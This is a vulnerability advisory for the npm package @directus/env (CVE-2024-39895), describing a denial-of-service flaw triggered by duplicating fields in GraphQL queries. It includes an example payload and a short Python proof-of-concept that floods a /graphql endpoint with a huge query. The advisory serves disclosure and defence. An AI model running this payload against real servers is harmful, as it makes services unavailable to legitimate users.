CVE-2024-39895 – @directus/env

Package

Manager: npm
Name: @directus/env
Vulnerable Version: >=0 <1.1.6

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00821 pctl0.73528

Details

Directus GraphQL Field Duplication Denial of Service (DoS) ### Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. ### Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:   By modifying the data sent and duplicating many times the fields a DoS attack is possible. ### PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. `{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}` Although that payload seems harmless, a bigger one leaves the service unresponsive. The following code might serve as a PoC written in Python3: ```# Field Duplication DoS # GitHub @asantof import requests ## CHANGE THIS VALUES: url, auth_token, query_name, collection_name url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = '' headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', } id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200 data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' } print(data) response = requests.post(url, headers=headers, json=data) print(response.json()) ```  After running it the service will be unresponsive for a while:  ### Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.

Metadata

Created: 2024-07-08T18:41:00Z
Modified: 2024-11-18T16:26:50Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/07/GHSA-7hmh-pfrp-vcx4/GHSA-7hmh-pfrp-vcx4.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-7hmh-pfrp-vcx4
Finding: F002
Auto approve: 1